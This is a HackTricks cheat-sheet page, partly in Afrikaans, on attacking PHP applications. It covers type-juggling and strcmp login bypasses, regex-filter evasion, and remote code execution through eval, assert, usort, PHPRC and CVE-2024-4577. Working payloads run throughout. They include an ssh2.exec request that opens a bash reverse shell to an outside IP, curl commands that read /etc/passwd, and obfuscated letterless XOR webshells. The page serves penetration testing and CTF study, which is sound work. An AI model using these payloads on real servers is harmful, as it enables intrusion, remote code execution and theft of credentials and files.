PHP Tricks

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

Cookies common location:

Dit is ook geldig vir phpMyAdmin cookies.

Cookies:

PHPSESSID
phpMyAdmin

Ligginge:

/var/lib/php/sessions
/var/lib/php5/
/tmp/
Example: ../../../../../../tmp/sess_d1d531db62523df80e1153ada1d4b02e

Omseil PHP-vergelykings

Lose vergelykings/Type Juggling ( == )

As == in PHP gebruik word, is daar onvoorsiene gevalle waar die vergelyking nie soos verwag optree nie. Dit is omdat “==” slegs waardes vergelyk wat na dieselfde tipe omskakel is; as jy ook wil vergelyk dat die tipe van die vergelykende data dieselfde is, moet jy === gebruik.

PHP comparison tables: https://www.php.net/manual/en/types.comparisons.php

  • "string" == 0 -> True ’n string wat nie met ’n getal begin nie, is gelyk aan ’n getal
  • "0xAAAA" == "43690" -> True Stringe saamgestel uit syfers in desimale of heksadesimale formaat kan vergelyk word met ander getalle/stringe met True as resultaat as die getalle dieselfde is (getalle in ’n string word as getalle geĂŻnterpreteer)
  • "0e3264578" == 0 --> True ’n string wat met “0e” begin en deur enigiets gevolg word, is gelyk aan 0
  • "0X3264578" == 0X --> True ’n string wat met “0” begin en gevolg word deur enige letter (X kan enige letter wees) en daarna enigiets, is gelyk aan 0
  • "0e12334" == "0" --> True Dit is baie interessant omdat jy in sommige gevalle die string-invoer van “0” en sekere inhoud wat gehash word en daarmee vergelyk word, kan beheer. Daarom, as jy ’n waarde kan verskaf wat ’n hash sal skep wat met “0e” begin en sonder enige letters is, kan jy die vergelyking omseil. Jy kan reeds gehashte stringe met hierdie formaat hier vind: https://github.com/spaze/hashes
  • "X" == 0 --> True Enige letter in ’n string is gelyk aan int 0

Meer inligting: https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09

in_array()

Type Juggling beïnvloed ook standaard die in_array() funksie (jy moet die derde argument op true stel om ’n streng vergelyking te maak):

$values = array("apple","orange","pear","grape");
var_dump(in_array(0, $values));
//True
var_dump(in_array(0, $values, true));
//False

strcmp()/strcasecmp()

As hierdie funksie gebruik word vir enige authentikasiekontrole (soos die kontrole van die wagwoord) en die gebruiker beheer een kant van die vergelyking, kan hy n leë array stuur in plaas van n string as die waarde van die wagwoord (https://example.com/login.php/?username=admin&password[]=) en hierdie kontrole omseil:

if (!strcmp("real_pwd","real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
// Real Password
if (!strcmp(array(),"real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
// Real Password

Dieselfde fout kom voor met strcasecmp()

Strict type Juggling

Selfs as === gebruik word kan daar foute wees wat die vergelyking kwesbaar maak vir type juggling. Byvoorbeeld, as die vergelyking die data na ’n ander tipe objek omskakel voordat dit vergelyk word:

(int) "1abc" === (int) "1xyz" //This will be true

preg_match(/^.*/)

preg_match() kan gebruik word om gebruikersinvoer te valideer (dit kontroleer of enige woord/regex van ’n blacklist op die gebruikersinvoer voorkom en as dit nie doen nie, kan die kode voortgaan met die uitvoering).

Omseiling met nuwe reël

Wanneer die begin van die regexppreg_match() slegs na die eerste reël van die gebruikersinvoer kyk, kan jy, as jy op een of ander manier die invoer in meerdere reëls kan stuur, dalk hierdie kontrole omseil. Voorbeeld:

$myinput="aaaaaaa
11111111"; //Notice the new line
echo preg_match("/1/",$myinput);
//1  --> In this scenario preg_match find the char "1"
echo preg_match("/1.*$/",$myinput);
//1  --> In this scenario preg_match find the char "1"
echo preg_match("/^.*1/",$myinput);
//0  --> In this scenario preg_match DOESN'T find the char "1"
echo preg_match("/^.*1.*$/",$myinput);
//0  --> In this scenario preg_match DOESN'T find the char "1"

Om hierdie kontrole te omseil kan jy die waarde met reëlafbrekings urlencoded stuur (%0A) of as jy JSON data kan stuur, stuur dit in veral reëls:

{
"cmd": "cat /etc/passwd"
}

Vind ’n voorbeeld hier: https://ramadistra.dev/fbctf-2019-rceservice

Length error bypass

(Hierdie bypass is blykbaar op PHP 5.2.5 probeer en ek kon dit nie op PHP 7.3.15 laat werk nie)
As jy aan preg_match() ’n geldige, baie groot input kan stuur, sal dit dit nie kan verwerk nie en jy sal die check kan bypass. Byvoorbeeld, as dit ’n JSON blacklisting het, kan jy stuur:

payload = '{"cmd": "ls -la", "injected": "'+ "a"*1000001 + '"}'

From: https://medium.com/bugbountywriteup/solving-each-and-every-fb-ctf-challenge-part-1-4bce03e2ecb0

ReDoS Bypass

Trick from: https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-writeups/intigriti-challenges/1223 and https://mizu.re/post/pong

Kortom gebeur die probleem omdat die preg_* funksies in PHP gebou is op die PCRE library. In PCRE word sekere regular expressions gematch deur baie recursive calls te gebruik, wat baie stack-ruimte opbruik. Dit is moontlik om ’n limiet te stel op die aantal rekursies wat toegelaat word, maar in PHP staan hierdie limiet defaults to 100.000 wat meer is as wat in die stapel pas.

This Stackoverflow thread was also linked in the post where it is talked more in depth about this issue. Ons taak was nou duidelik:
Stuur ’n invoer wat die regex 100_000+ rekursies laat doen, wat SIGSEGV veroorsaak, die preg_match() funksie false laat teruggee en dus die toepassing laat dink ons invoer is nie kwaadwillig nie, en gooi ’n verrassing aan die einde van die payload iets soos {system(<verybadcommand>)} om SSTI –> RCE –> flag te kry :).

Goed, in regex-terme doen ons eintlik nie 100k “recursions” nie, maar tel ons eerder “backtracking steps”, wat soos die PHP documentation sĂȘ standaard op 1_000_000 (1M) in die pcre.backtrack_limit veranderlike staan.
Om dit te bereik, 'X'*500_001 sal lei tot 1 miljoen backtracking steps (500k vorentoe en 500k terugwaarts):

payload = f"@dimariasimone on{'X'*500_001} {{system('id')}}"

Type Juggling vir PHP obfuskering

$obfs = "1"; //string "1"
$obfs++; //int 2
$obfs += 0.2; //float 2.2
$obfs = 1 + "7 IGNORE"; //int 8
$obfs = "string" + array("1.1 striiing")[0]; //float 1.1
$obfs = 3+2 * (TRUE + TRUE); //int 7
$obfs .= ""; //string "7"
$obfs += ""; //int 7

Execute After Redirect (EAR)

Indien PHP na ’n ander bladsy herlei word, maar geen die of exit funksie opgeroep word nadat die header Location gestel is nie, gaan PHP voort om uit te voer en voeg die data aan die body by:

<?php
// In this page the page will be read and the content appended to the body of
// the redirect response
$page = $_GET['page'];
header('Location: /index.php?page=default.html');
readfile($page);
?>

Path Traversal and File Inclusion Exploitation

Check:

File Inclusion/Path traversal

More tricks

  • register_globals: In PHP < 4.1.1.1 or if misconfigured, register_globals may be active (or their behavior is being mimicked). This implies that in global variables like $_GET if they have a value e.g. $_GET[“param”]=“1234”, you can access it via $param. Therefore, by sending HTTP parameters you can overwrite variables that are used within the code.
  • Die PHPSESSION cookies of the same domain are stored in the same place, therefore if within a domain different cookies are used in different paths you can make that a path accesses the cookie of the path setting the value of the other path cookie.
    Op hierdie manier, as beide paaie toegang tot ’n veranderlike met dieselfde naam het kan jy laat dat die waarde van daardie veranderlike in path1 op path2 van toepassing is. En dan sal path2 die veranderlikes van path1 as geldig aanvaar (deur die cookie die naam te gee wat ooreenstem met dit in path2).
  • Wanneer jy die usernames van die gebruikers van die masjien het. Kyk die adres: /~<USERNAME> om te sien of die php directories geaktiveer is.
  • If a php config has register_argc_argv = On then query params separated by spaces are used to populate the array of arguments array_keys($_SERVER['argv']) like if they were arguments from the CLI. This is interesting because if that setting is off, the value of the args array will be Null when called from the web as the ars arry won’t be populated. Therefore, if a web page tries to check if it’s running as a web or as a CLI tool with a comparison like if (empty($_SERVER['argv'])) { an attacker could send parameters in the GET request like ?--configPath=/lalala and it will think it’s running as CLI and potential parse and use those arguments. More info in the oorspronklike writeup.
  • LFI and RCE using php wrappers

password_hash/password_verify

This functions are typically used in PHP to generate hashes from passwords and to to check if a password is correct compared with a hash.
Die ondersteunde algoritmes is: PASSWORD_DEFAULT en PASSWORD_BCRYPT (starts with $2y$). Note that PASSWORD_DEFAULT is frequently the same as PASSWORD_BCRYPT. And currently, PASSWORD_BCRYPT has a size limitation in the input of 72bytes. Therefore, when you try to hash something larger than 72bytes with this algorithm only the first 72B will be used:

$cont=71; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
False

$cont=72; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
True

HTTP headers-omseiling deur PHP errors te misbruik

Fout veroorsaak nadat headers gestel is

Uit this twitter thread kan jy sien dat deur meer as 1000 GET params of 1000 POST params of 20 files te stuur, PHOP nie headers in die response sal stel nie.

Dit maak dit moontlik om byvoorbeeld CSP headers wat in kode soos die volgende gestel word, te omseil:

<?php
header("Content-Security-Policy: default-src 'none';");
if (isset($_GET["xss"])) echo $_GET["xss"];

Filling a body before setting headers

As ’n PHP-bladsy foutboodskappe druk en gebruikersinvoer terug echo, kan ’n gebruiker die PHP-server dwing om genoeg content terug te druk sodat wanneer dit probeer om die headers by die response te voeg, die server ’n fout sal gooi.
In die volgende scenario het die aanvaller die server groot foute laat gooi, en soos jy in die skerm sien, toe php probeer om die header information te wysig, het dit nie gekon nie (so byvoorbeeld die CSP header is nie aan die gebruiker gestuur nie):

SSRF in PHP functions

Kyk na die bladsy:

PHP SSRF

ssh2.exec stream wrapper RCE

Wanneer die ssh2 extension geïnstalleer is (ssh2.so sigbaar onder /etc/php*/mods-available/, php -m, of selfs ’n FTP-toeganklike php8.1_conf/ gids), registreer PHP ssh2.* wrappers wat misbruik kan word waar gebruikersinvoer in fopen()/file_get_contents() teikens gekonkatenateer word. ’n Admin-only download helper soos:

$wrapper = strpos($_GET['format'], '://') !== false ? $_GET['format'] : '';
$file_content = fopen($wrapper ? $wrapper . $file : $file, 'r');

is genoeg om shell commands oor localhost SSH uit te voer:

GET /download.php?id=54&show=true&format=ssh2.exec://yuri:mustang@127.0.0.1:22/ping%2010.10.14.6%20-c%201#
  • Die credential-gedeelte kan enige leaked stelselwagwoord hergebruik (e.g., from cracked bcrypt hashes).
  • Die trailing # kommentarieer die server-side suffix (files/<id>.zip) uit, sodat slegs jou opdrag uitgevoer word.
  • Blind RCE word bevestig deur te kyk vir egress met tcpdump -ni tun0 icmp of deur ’n HTTP canary te bedien.

Ruil die opdrag vir ’n reverse shell payload sodra dit gevalideer is:

format=ssh2.exec://yuri:mustang@127.0.0.1:22/bash%20-c%20'bash%20-i%20>&%20/dev/tcp/10.10.14.6/443%200>&1'#

Omdat alles binne die PHP-worker gebeur, kom die TCP-verbinding vanaf die teiken en erf dit die voorregte van die geĂŻnjekteerde rekening (yuri, eric, ens.).

Kode-uitvoering

system(“ls”);
`ls`;
shell_exec(“ls”);

Check this for more useful PHP functions

RCE via preg_replace()

preg_replace(pattern,replace,base)
preg_replace("/a/e","phpinfo()","whatever")

Om die kode in die “replace” argument uit te voer, is ten minste een match nodig.
Hierdie opsie van preg_replace is verouderd sedert PHP 5.5.0.

RCE deur Eval()

'.system('uname -a'); $dummy='
'.system('uname -a');#
'.system('uname -a');//
'.phpinfo().'
<?php phpinfo(); ?>

RCE via Assert()

Hierdie funksie binne php laat jou toe om kode wat in ’n string geskryf is uit te voer om true of false terug te gee (en afhangend hiervan die uitvoering aan te pas). Gewoonlik sal die gebruikervariabele in die middel van ’n string ingesit word. Byvoorbeeld:
assert("strpos($_GET['page']),'..') === false") –> In hierdie geval om RCE te kry kan jy:

?page=a','NeVeR') === false and system('ls') and strpos('a

Jy sal die code breek sintaksis, voeg by jou payload, en dan maak dit weer reg. Jy kan logiese operasies gebruik soos “and” or “%26%26” or “|”. Let wel dat “or”, “||” nie werk nie omdat as die eerste voorwaarde waar is ons payload nie uitgevoer sal word nie. Op dieselfde manier werk “;” ook nie omdat ons payload nie uitgevoer sal word nie.

Ander opsie is om by die string die uitvoering van die opdrag te voeg: '.highlight_file('.passwd').'

Ander opsie (as jy die interne kode het) is om ’n veranderlike te wysig om die uitvoering te verander: $file = "hola"

RCE via usort()

This function is used to sort an array of items using an specific function.
To abuse this function:

<?php usort(VALUE, "cmp"); #Being cmp a valid function ?>
VALUE: );phpinfo();#

<?php usort();phpinfo();#, "cmp"); #Being cmp a valid function ?>
<?php
function foo($x,$y){
usort(VALUE, "cmp");
}?>
VALUE: );}[PHP CODE];#

<?php
function foo($x,$y){
usort();}phpinfo;#, "cmp");
}?>

You can also use // to comment the rest of the code.

Om die aantal hakies wat jy moet sluit te ontdek:

  • ?order=id;}//: ons kry ’n foutboodskap (Parse error: syntax error, unexpected ';'). Ons mis waarskynlik een of meer hakies.
  • ?order=id);}//: ons kry ’n waarskuwing. Dit lyk reg.
  • ?order=id));}//: ons kry ’n foutboodskap (Parse error: syntax error, unexpected ')' i). Ons het waarskynlik te veel sluithakies.

RCE via .httaccess

If you can upload a .htaccess, then you can configure several things and even execute code (configuring that files with extension .htaccess can be executed).

Different .htaccess shells can be found here

RCE via Env Variables

If you find a vulnerability that allows you to modify env variables in PHP (and another one to upload files, although with more research maybe this can be bypassed), you could abuse this behaviour to get RCE.

  • LD_PRELOAD: Hierdie env variable laat jou toe om arbitrĂȘre libraries te laai wanneer ander binaries uitgevoer word (alhoewel dit in hierdie geval dalk nie werk nie).
  • PHPRC : Instrueer PHP oor waar om sy konfigurasielĂȘer te vind, gewoonlik php.ini genoem. As jy jou eie konfigurasielĂȘer kan oplaaI, gebruik PHPRC om PHP daarna te wys. Voeg ’n auto_prepend_file inskrywing by wat ’n tweede opgelaaide lĂȘer spesifiseer. Hierdie tweede lĂȘer bevat normale PHP code, which is then executed deur die PHP runtime voor enige ander kode.
  1. Upload ’n PHP-lĂȘer wat ons shellcode bevat
  2. Upload ’n tweede lĂȘer, wat ’n auto_prepend_file direktief bevat wat die PHP preprocessor instrueer om die lĂȘer wat ons in stap 1 opgelaaI het, uit te voer
  3. Stel die PHPRC variable na die lĂȘer wat ons in stap 2 opgelaaI het.
  • Kry meer inligting oor hoe om hierdie ketting uit te voer from the original report.
  • PHPRC - nog ’n opsie
  • If you cannot upload files, you could use in FreeBSD the “file” /dev/fd/0 which contains the stdin, being the body of the request sent to the stdin:
  • curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary 'auto_prepend_file="/etc/passwd"'
  • Or to get RCE, enable allow_url_include and prepend a file with base64 PHP code:
  • curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary $'allow_url_include=1\nauto_prepend_file="data://text/plain;base64,PD8KICAgcGhwaW5mbygpOwo/Pg=="'
  • Technique from this report.

XAMPP CGI RCE - CVE-2024-4577

Die webserver ontleed HTTP-versoeke en gee dit aan ’n PHP-skrip wat ’n versoek soos as http://host/cgi.php?foo=bar uitvoer as php.exe cgi.php foo=bar, wat ’n parameter-inspuiting toelaat. Dit sou toelaat om die volgende parameters in te spuit om die PHP-kode vanaf die body te laai:

-d allow_url_include=1 -d auto_prepend_file=php://input

Daarbenewens is dit moontlik om die “-” param in te spuit deur die 0xAD karakter as gevolg van latere normalisering van PHP. Kyk na die exploit example in this post:

POST /test.php?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1
Host: {{host}}
User-Agent: curl/8.3.0
Accept: */*
Content-Length: 23
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive

<?php
phpinfo();
?>

PHP Sanitization bypass & Brain Fuck

In this post is dit moontlik om goeie idees te vind om brain fuck PHP code te genereer met baie min karakters wat toegelaat word.
Verder word ook ’n interessante manier voorgestel om funksies uit te voer wat hulle toegelaat het om verskeie kontroles te omseil:

(1)->{system($_GET[chr(97)])}

PHP Statiese ontleding

Kyk of jy insert code in calls to these functions (from here):

exec, shell_exec, system, passthru, eval, popen
unserialize, include, file_put_cotents
$_COOKIE | if #This mea

As jy ’n PHP-toepassing debug kan jy foutafdruk wĂȘreldwyd aktiveer in /etc/php5/apache2/php.ini deur display_errors = On by te voeg en Apache te herbegin: sudo systemctl restart apache2

Deobfuskering van PHP-kode

Jy kan die web www.unphp.net gebruik om PHP-kode te deobfuskeren.

PHP Wrappers & Protocols

PHP Wrappers en protocols kan jou toelaat om die stelsel se bypass write and read protections te omseil en dit te kompromitteer. Vir meer inligting sien hierdie bladsy.

Xdebug unauthenticated RCE

As jy sien dat Xdebug in die phpconfig()-uitset enabled is, moet jy probeer om RCE te kry via https://github.com/nqxcode/xdebug-exploit

Variable variables

$x = 'Da';
$$x = 'Drums';

echo $x; //Da
echo $$x; //Drums
echo $Da; //Drums
echo "${Da}"; //Drums
echo "$x ${$x}"; //Da Drums
echo "$x ${Da}"; //Da Drums

RCE misbruik van new $_GET[“a”]($_GET[“b”])

As ’n bladsy jou toelaat om ’n nuwe objek van ’n arbitrĂȘre klas te skep, kan jy moontlik RCE verkry; kyk na die volgende bladsy om te leer hoe:

Php Rce Abusing Object Creation New Usd Get A Usd Get B

Voer PHP uit sonder letters

https://securityonline.info/bypass-waf-php-webshell-without-numbers-letters/

Gebruik oktal

$_="\163\171\163\164\145\155(\143\141\164\40\56\160\141\163\163\167\144)"; #system(cat .passwd);

XOR

$_=("%28"^"[").("%33"^"[").("%34"^"[").("%2c"^"[").("%04"^"[").("%28"^"[").("%34"^"[").("%2e"^"[").("%29"^"[").("%38"^"[").("%3e"^"["); #show_source
$__=("%0f"^"!").("%2f"^"_").("%3e"^"_").("%2c"^"_").("%2c"^"_").("%28"^"_").("%3b"^"_"); #.passwd
$___=$__; #Could be not needed inside eval
$_($___); #If Âą___ not needed then $_($__), show_source(.passwd)

XOR easy shell code

Volgens this writeup is dit op die volgende manier moontlik om ’n maklike shellcode te genereer:

$_="`{{{"^"?<>/"; // $_ = '_GET';
${$_}[_](${$_}[__]); // $_GET[_]($_GET[__]);

$_="`{{{"^"?<>/";${$_}[_](${$_}[__]); // $_ = '_GET'; $_GET[_]($_GET[__]);

As jy arbitrĂȘre PHP kan uitvoer sonder syfers en letters, kan jy ’n versoek soos die volgende stuur wat daardie payload misbruik om arbitrĂȘre PHP uit te voer:

POST: /action.php?_=system&__=cat+flag.php
Content-Type: application/x-www-form-urlencoded

comando=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);

Vir ’n meer diepgaande verduideliking, sien https://ctf-wiki.org/web/php/php/#preg_match

XOR Shellcode (binne eval)

#!/bin/bash

if [[ -z $1 ]]; then
echo "USAGE: $0 CMD"
exit
fi

CMD=$1
CODE="\$_='\
lt;>/'^'{{{{';\${\$_}[_](\${\$_}[__]);" `$_='
lt;>/'^'{{{{'; --> _GET` `${$_}[_](${$_}[__]); --> $_GET[_]($_GET[__])` `So, the function is inside $_GET[_] and the parameter is inside $_GET[__]` http --form POST "http://victim.com/index.php?_=system&__=$CMD" "input=$CODE"

Perl-agtig

<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;

$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;

$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);

Verwysings

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks